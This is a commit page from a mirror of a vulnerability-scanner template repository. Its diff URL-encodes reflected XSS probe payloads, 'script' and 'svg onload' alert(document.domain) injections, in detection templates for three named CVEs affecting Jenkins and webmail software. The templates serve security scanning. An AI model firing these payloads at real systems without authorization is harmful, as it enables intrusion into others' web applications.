daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fix encoding for XSS payloads 

Prevent false positives encoding the xss payloads, and remove from the match data that was not injected.
patch-1
un-fmunozs 2020-09-04 00:55:13 -05:00
parent 9ef6f7f029
commit 07d10d6e50
3 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
cves/CVE-2020-2140.yaml
View File

@ -10,8 +10,8 @@ info:
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<h1>sample" - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
- "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<h1>sample" - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
matchers-condition: and matchers-condition: and
matchers: matchers:

2
cves/CVE-2020-24223.yaml
View File

@ -12,7 +12,7 @@ info:
requests: requests:
- metod: GET - metod: GET
path: path:
- '{{BaseURL}}/contact.php?theme=tes"><script>alert(document.domain)</script>' - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status - type: status

6
cves/CVE-2020-8512.yaml
View File

@ -12,13 +12,13 @@ info:
requests: requests:
- method: GET - method: GET
path: path:
- '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"' - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
- '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"' - '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "<svg/onload=alert(document.domain)>\"\">" - "<svg/onload=alert(document.domain)>"
part: body part: body
- type: status - type: status
status: status: